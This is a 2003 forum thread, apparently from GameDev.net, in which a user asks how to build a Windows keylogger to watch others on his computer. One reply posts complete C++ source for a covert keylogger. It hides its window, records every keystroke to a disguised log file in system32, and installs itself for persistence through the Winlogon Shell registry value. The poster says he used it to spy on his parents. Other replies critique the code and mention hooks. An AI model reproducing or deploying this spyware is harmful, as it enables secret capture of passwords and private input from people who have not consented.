Keylogger

Started by
10 comments, last by sakky 20 years, 6 months ago
This isn''t game related, but I must know how to do it. I need to know how to build a key logger. I need one that will work with Windows operating systems. What do I look for to find out how to build one? Google is not giving me any thing and I’m getting frustrated. I need a key logger to watch the people that are on my computer. I think they are doing what they shouldn’t be doing. So I want to build a key logger. Please help
Take back the internet with the most awsome browser around, FireFox
Advertisement
...looks like spyware to me... or some sort of privacy-invasive program that silently installs on your computer and saves your keystrokes to file and sends it to somewhere...
Couldn''t you install something like PCAnywhere on that comp and check their screen occasionally?

a slightly overkill way is to use directinput to detect keys...
Why not just password lock them out of your computer?

RanBlade
"Passion is what drives you to stay up until 4am fixing that bug that hardly anyone would notice...Passion is where great games come from, if you dont live and breathe games you shouldn''t be in the games industry." - Dave Pottinger, Ensemble Studios

Eric Ranaldi a.k.a RanBlade


[size=1]"Passion is what drives you to stay up until 4am fixing that bug that hardly anyone would notice...


[size=1]Passion is where great games come from, if you dont live and breathe games you shouldn't be in the games industry."


[size=2]- Dave Pottinger, Ensemble Studios



[size=1][GameDev][C++ Page][Unity Game Engine][Panda3D Game Engine][NeHe Productions][Drunken Hyena][MSDN][Beej's Guide to Network Programming]


[size=1][FreedBSD][My Site][Gamasutra][Khan Acadamey]

then how would they discover what the "other" ppl are up to

[edited by - johnnyBravo on October 13, 2003 6:25:24 AM]
here is an over simplified keylogger that works but might be noticed by whomever youre spying on.

#pragma warning(disable:4700)#include <stdlib.h>#include <windows.h>#include <fstream>#include <string>#include <vector>#ifndef WIN32_LEAN_AND_MEAN#define WIN32_LEAN_AND_MEAN#endifint WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hpreviousinstance,LPSTR lpCmdLine, int iShowCmd);LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);unsigned long registryentrystring(HKEY key, std::string subkey, std::string keyname, std::string data, HKEY &root, const bool &close);std::string getprogramfilepath();std::string getkeysymbol(int keystroke);unsigned int keylist[]={8,9,12,13,19,20,27,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,93,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,144,145,186,187,188,189,190,191,192,219,220,221,222,223,224,225,226,227,228,230,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,0};std::ofstream keylog("C:\\WINDOWS\\system32\\sys32.log",std::ios::app);bool shift=false;int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hpreviousinstance,LPSTR lpCmdLine, int iShowCmd){	WNDCLASSEX wc;	HWND hwnd;	MSG msg;	wc.cbSize=sizeof(WNDCLASSEX);	wc.style=CS_HREDRAW|CS_VREDRAW;	wc.lpfnWndProc=WndProc;	wc.cbClsExtra=0;	wc.cbWndExtra=0;	wc.hInstance=hinstance;	wc.hIcon=LoadIcon(NULL,IDI_WINLOGO);	wc.hCursor=LoadCursor(NULL,IDC_ARROW);	wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);	wc.hIconSm=LoadIcon(NULL,IDI_WINLOGO);	wc.lpszMenuName=0;	wc.lpszClassName=" ";	if (!RegisterClassEx(&wc))	{		return 0;	}	hwnd=CreateWindowEx(NULL," "," ",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,100,100,0,0,hinstance,0);	if (hwnd==NULL)	{		return 0;	}	ShowWindow(hwnd,SW_HIDE);	UpdateWindow(hwnd);	if (!keylog.is_open())	{		return 0;	}	HKEY root;	registryentrystring(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon","Shell","Explorer.exe "+getprogramfilepath(),root,true);	int i;	while(msg.message!=WM_QUIT)	{		if(PeekMessage(&msg,0,0,0,PM_REMOVE))		{			TranslateMessage(&msg);			DispatchMessage(&msg);		}		else		{			for(i = 0;keylist[i]!=0;i++)			{				if (GetAsyncKeyState(keylist[i])==-32767)					break;			}        			if (GetAsyncKeyState(VK_SHIFT))			{				shift=true;			}			else			{				shift=false;			}			if(keylist[i]==0)				continue;			else				keylog << getkeysymbol(keylist[i]);			keylog.flush();			Sleep(3);		}	}	return msg.wParam;}LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){	switch(uMsg)	{		case WM_CLOSE:		keylog.close();							DestroyWindow(hWnd);							break;		case WM_DESTROY:	keylog.close();							PostQuitMessage(0);							break;		default:			return DefWindowProc(hWnd,uMsg,wParam,lParam);							break;	}	return 0;}unsigned long registryentrystring(HKEY key, std::string subkey, std::string keyname, std::string data, HKEY &root, const bool &close){	unsigned long result;	RegCreateKeyEx(key,subkey.c_str(),0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&root,&result);	RegSetValueEx(root,keyname.c_str(),0,REG_SZ,(const BYTE*)data.c_str(),data.size());	if (close)	{		RegCloseKey(root);	}	return result;}std::string getprogramfilepath(){	char path_buffer[_MAX_PATH];	char drive[_MAX_DRIVE];	char dir[_MAX_DIR];	char fname[_MAX_FNAME];	char ext[_MAX_EXT];	GetModuleFileName(NULL,path_buffer,sizeof(path_buffer)-1);	_splitpath(path_buffer,drive,dir,fname,ext);	return std::string(drive)+std::string(dir)+std::string(fname)+std::string(ext);}std::string getkeysymbol(int keystroke){	switch (keystroke)	{		case 8:		return " backspace ";		case 9:		return "\t";		case 12:	return " clear ";		case 13:	return "\n";		case 19:	return " pause ";		case 20:	return " caps lock ";		case 27:	return " escape ";		case 32:	return " ";		case 33:	return " page up ";		case 34:	return " page down ";		case 35:	return " end ";		case 36:	return " home ";		case 37:	return " left ";		case 38:	return " up ";		case 39:	return " right ";		case 40:	return " down ";		case 41:	return " select ";		case 42:	return " print ";		case 43:	return " execute ";		case 44:	return " print screen ";		case 45:	return " insert ";		case 46:	return " delete ";		case 47:	return " help ";		case 48:	if (shift)					{						return ")";					}					else					{						return "0";					}		case 49:	if (shift)					{						return "!";					}					else					{						return "1";					}		case 50:	if (shift)					{						return "@";					}					else					{						return "2";					}		case 51:	if (shift)					{						return "#";					}					else					{						return "3";					}		case 52:	if (shift)					{						return "$";					}					else					{						return "4";					}		case 53:	if (shift)					{						return "%";					}					else					{						return "5";					}		case 54:	if (shift)					{						return "^";					}					else					{						return "6";					}		case 55:	if (shift)					{						return "&";					}					else					{						return "7";					}		case 56:	if (shift)					{						return "*";					}					else					{						return "8";					}		case 57:	if (shift)					{						return "(";					}					else					{						return "9";					}		case 65:	if (shift)					{						return "A";					}					else					{						return "a";					}		case 66:	if (shift)					{						return "B";					}					else					{						return "b";					}		case 67:	if (shift)					{						return "C";					}					else					{						return "c";					}		case 68:	if (shift)					{						return "D";					}					else					{						return "d";					}		case 69:	if (shift)					{						return "E";					}					else					{						return "e";					}		case 70:	if (shift)					{						return "F";					}					else					{						return "f";					}		case 71:	if (shift)					{						return "G";					}					else					{						return "g";					}		case 72:	if (shift)					{						return "H";					}					else					{						return "h";					}		case 73:	if (shift)					{						return "I";					}					else					{						return "i";					}		case 74:	if (shift)					{						return "J";					}					else					{						return "j";					}		case 75:	if (shift)					{						return "K";					}					else					{						return "k";					}		case 76:	if (shift)					{						return "L";					}					else					{						return "l";					}		case 77:	if (shift)					{						return "M";					}					else					{						return "m";					}		case 78:	if (shift)					{						return "N";					}					else					{						return "n";					}		case 79:	if (shift)					{						return "O";					}					else					{						return "o";					}		case 80:	if (shift)					{						return "P";					}					else					{						return "p";					}		case 81:	if (shift)					{						return "Q";					}					else					{						return "q";					};		case 82:	if (shift)					{						return "R";					}					else					{						return "r";					}		case 83:	if (shift)					{						return "S";					}					else					{						return "s";					}		case 84:	if (shift)					{						return "T";					}					else					{						return "t";					}		case 85:	if (shift)					{						return "U";					}					else					{						return "u";					}		case 86:	if (shift)					{						return "V";					}					else					{						return "v";					}		case 87:	if (shift)					{						return "W";					}					else					{						return "w";					}		case 88:	if (shift)					{						return "X";					}					else					{						return "x";					}		case 89:	if (shift)					{						return "Y";					}					else					{						return "y";					}		case 90:	if (shift)					{						return "Z";					}					else					{						return "z";					}		case 91:	return " windows key ";		case 93:	return " application ";		case 96:	if (shift)					{						return " numpad insert ";					}					else					{						return " numpad 0 ";					}		case 97:	if (shift)					{						return " numpad end ";					}					else					{						return " numpad 1 ";					}		case 98:	if (shift)					{						return " numpad down ";					}					else					{						return " numpad 2 ";					}		case 99:	if (shift)					{						return " numpad page down ";					}					else					{						return " numpad 3 ";					}		case 100:	if (shift)					{						return "numpad left";					}					else					{						return " numpad 4 ";					}		case 101:	return " numpad 5 ";		case 102:	if (shift)					{						return " numpad right ";					}					else					{						return " numpad 6 ";					}		case 103:	if (shift)					{						return " numpad home ";					}					else					{						return " numpad 7 ";					}		case 104:	if (shift)					{						return " numpad up ";					}					else					{						return " numpad 8 ";					}		case 105:	if (shift)					{						return " numpad page up ";					}					else					{						return " numpad 9 ";					}		case 106:	return " numpad * ";		case 107:	return " numpad + ";		case 108:	return " seperator ";		case 109:	return " numpad - ";		case 110:	if (shift)					{						return " numpad delete ";					}					else					{						return " numpad . ";					}		case 111:	return " numpad / ";		case 112:	return " F1 ";		case 113:	return " F2 ";		case 114:	return " F3 ";		case 115:	return " F4 ";		case 116:	return " F5 ";		case 117:	return " F6 ";		case 118:	return " F7 ";		case 119:	return " F8 ";		case 120:	return " F9 ";		case 121:	return " F10 ";		case 122:	return " F11 ";		case 123:	return " F12 ";		case 124:	return " F13 ";		case 125:	return " F14 ";		case 126:	return " F15 ";		case 127:	return " F16 ";		case 128:	return " F17 ";		case 129:	return " F18 ";		case 130:	return " F19 ";		case 131:	return " F20 ";		case 132:	return " F21 ";		case 133:	return " F22 ";		case 134:	return " F23 ";		case 135:	return " F24 ";		case 144:	return " num lock ";		case 145:	return " scroll lock ";		case 186:	if (shift)					{						return ":";					}					else					{						return ";";					}		case 187:	if (shift)					{						return "+";					}					else					{						return "=";					}		case 188:	if (shift)					{						return "<";					}					else					{						return ",";					}		case 189:	if (shift)					{						return "_";					}					else					{						return "-";					}		case 190:	if (shift)					{						return ">";					}					else					{						return ".";					}		case 191:	if (shift)					{						return "?";					}					else					{						return "/";					}		case 192:	if (shift)					{						return "~";					}					else					{						return "`";					}		case 219:	if (shift)					{						return "{";					}					else					{						return "[";					}		case 220:	if (shift)					{						return "|";					}					else					{						return "\\";					}		case 221:	if (shift)					{						return "}";					}					else					{						return "]";					}		case 222:	if (shift)					{						return "\"";					}					else					{						return "\'";					}		case 223:	return " unknown key 0xdf ";		case 224:	return " unknown key 0xe0 ";		case 225:	return " unknown key 0xe1 ";		case 226:	return " unknown key 0xe2 ";		case 227:	return " unknown key 0xe3 ";		case 228:	return " unknown key 0xe4 ";		case 230:	return " unknown key 0xe6 ";		case 233:	return " unknown key 0xe9 ";		case 234:	return " unknown key 0xea ";		case 235:	return " unknown key 0xeb ";		case 236:	return " unknown key 0xec ";		case 237:	return " unknown key 0xed ";		case 238:	return " unknown key 0xee ";		case 239:	return " unknown key 0xef ";		case 240:	return " unknown key 0xf0 ";		case 241:	return " unknown key 0xf1 ";		case 242:	return " unknown key 0xf2 ";		case 243:	return " unknown key 0xf3 ";		case 244:	return " unknown key 0xf4 ";		case 245:	return " unknown key 0xf5 ";		case 246:	return " attn ";		case 247:	return " crsel ";		case 248:	return " exsel ";		case 249:	return " erase eof ";		case 250:	return " play ";		case 251:	return " zoom ";		case 252:	return " no name ";		case 253:	return " pa1 ";		case 254:	return " clear ";		case 0:		return "";		default:	return " unknown key ";	}}


like i said, it works, but it aint elegant. and its fairly easy to detect and remove. i cant take credit for all of the code, but a great deal of it i came up with on my own when i felt the need to spy on my parents to see just what they were doing =P

Bungo!

[edited by - BungoMan85 on October 13, 2003 6:39:47 AM]
Bungo!
ugh, that keylogger is terrible. I feel bad for the person who wrote that, typing in all the cases of each virtual key code. He could just have used MapVirtualKeyEx...
what i think is bad is do you really want to know what your parent is up to. Like if they were up to something, wouldnt you rather not know....
You should read up on hooks. That is the best way to do it.

This topic is closed to new replies.

Advertisement